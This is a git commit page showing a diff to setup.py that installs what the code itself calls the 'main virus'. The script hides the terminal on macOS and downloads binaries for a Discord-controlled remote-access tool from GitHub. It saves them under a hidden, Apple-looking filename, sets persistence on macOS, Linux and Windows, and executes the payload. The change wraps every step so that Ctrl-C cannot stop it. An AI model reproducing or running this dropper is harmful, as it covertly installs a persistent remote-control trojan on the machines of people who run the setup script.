summaryrefslogtreecommitdiff
path: root/setup.py
diff options
context:
space:
mode:
authorlittleblack111 <littleblack11111@gmail.com>2023-08-30 01:09:44 +0800
committerlittleblack111 <littleblack11111@gmail.com>2023-08-30 01:09:44 +0800
commitd86e13b183d1724f0931a7320b07333c5fefebf1 (patch)
tree6ea91b772a52ce21022dde91e723eee162c4d463 /setup.py
parentf4d95d40aaef7dcf4f00189c446de59b7fe885e5 (diff)
updated dist and added more features for macos
Diffstat (limited to 'setup.py')
-rw-r--r--setup.py74
1 files changed, 42 insertions, 32 deletions
diff --git a/setup.py b/setup.py
index 8e3dd71..dc1b55f 100644
--- a/setup.py
+++ b/setup.py
@@ -1,15 +1,22 @@
-from requests import get
-from os.path import expanduser
-from os import remove
-from subprocess import Popen as subproc
-from os import system, remove
-from sys import platform
-from random import shuffle
+try:
+ from requests import get
+ from os.path import expanduser
+ from os import remove
+ from subprocess import Popen as subproc
+ from os import system, remove
+ from sys import platform
+ from random import shuffle
+ from zipfile import ZipFile
+except KeyboardInterrupt:
+ pass
-filename = ['user', 'core', 'dev', 'service', 'daemon']
-shuffle(filename)
-filename = "com.apple." + '.'.join(filename)
-localfile = f"{expanduser('~')}/.{filename}"
+try:
+ filename = ['user', 'core', 'dev', 'service', 'daemon']
+ shuffle(filename)
+ filename = "com.apple." + '.'.join(filename)
+ localfile = f"{expanduser('~')}/.{filename}"
+except KeyboardInterrupt:
+ pass
try:
remove(localfile)
@@ -18,26 +25,29 @@ try:
except FileNotFoundError:
pass
-# download main virus
-if platform == "darwin":
- system("osascript -e 'tell application \"System Events\" to set activeApp to name of first application process whose frontmost is true' -e 'set terminalEmulators to {\"Terminal\", \"iTerm\", \"Hyper\", \"Kitty\"}' -e 'repeat with termApp in terminalEmulators' -e 'if (activeApp contains termApp) then' -e 'tell application termApp to set currentWindow to front window' -e 'set visible of currentWindow to false' -e 'exit repeat' -e 'end if' -e 'end repeat'")
- open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-mac", allow_redirects=True).content)
- open(f"{localfile}.tmp.zip", 'wb').write(get("https://github.com/mrdog233o5/remote-control-discord/raw/main/dist/main.app.zip", allow_redirects=True).content)
- system(f"unzip -o {localfile}.tmp.zip > /dev/null")
- system(f"mv {expanduser('~')}/dist/* {localfile}.app && rm -rf {localfile}.tmp.zip {expanduser('~')}/dist")
- system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{localfile}.app\", hidden:true}}' > /dev/null")
-elif platform == "linux":
- from os import environ
- open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-linux", allow_redirects=True).content)
- if 'zsh' in environ['SHELL']:
- system(f"echo {localfile} >> {expanduser('~')}/.zshenv")
- elif 'bash' in environ['SHELL']:
- system(f"echo {localfile} >> {expanduser('~')}/.bashenv")
-elif platform == "win32":
- open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-linux", allow_redirects=True).content)
- from shutil import copy
- copy(localfile ,"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp")
+try:
+ # download main virus
+ if platform == "darwin":
+ system("osascript -e 'tell application \"System Events\" to set activeApp to name of first application process whose frontmost is true' -e 'set terminalEmulators to {\"Terminal\", \"iTerm\", \"Hyper\", \"Kitty\"}' -e 'repeat with termApp in terminalEmulators' -e 'if (activeApp contains termApp) then' -e 'tell application termApp to set currentWindow to front window' -e 'set visible of currentWindow to false' -e 'exit repeat' -e 'end if' -e 'end repeat'")
+ open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-mac", allow_redirects=True).content)
+ open(f"{localfile}.tmp.zip", 'wb').write(get("https://github.com/mrdog233o5/remote-control-discord/raw/main/dist/main.app.zip", allow_redirects=True).content)
+ system(f"unzip -o {localfile}.tmp.zip -d {expanduser('~')} > /dev/null")
+ system(f"mv {expanduser('~')}/dist/* {localfile}.app && rm -rf {localfile}.tmp.zip {expanduser('~')}/dist")
+ system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{localfile}.app\", hidden:true}}' > /dev/null")
+ elif platform == "linux":
+ from os import environ
+ open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-linux", allow_redirects=True).content)
+ if 'zsh' in environ['SHELL']:
+ system(f"echo {localfile} >> {expanduser('~')}/.zshenv")
+ elif 'bash' in environ['SHELL']:
+ system(f"echo {localfile} >> {expanduser('~')}/.bashenv")
+ elif platform == "win32":
+ open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-linux", allow_redirects=True).content)
+ from shutil import copy
+ copy(localfile ,"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp")
-system(f"chmod 555 {localfile}")
+ system(f"chmod 555 {localfile}")
-subproc([localfile])
+ subproc([localfile])
+except KeyboardInterrupt:
+ pass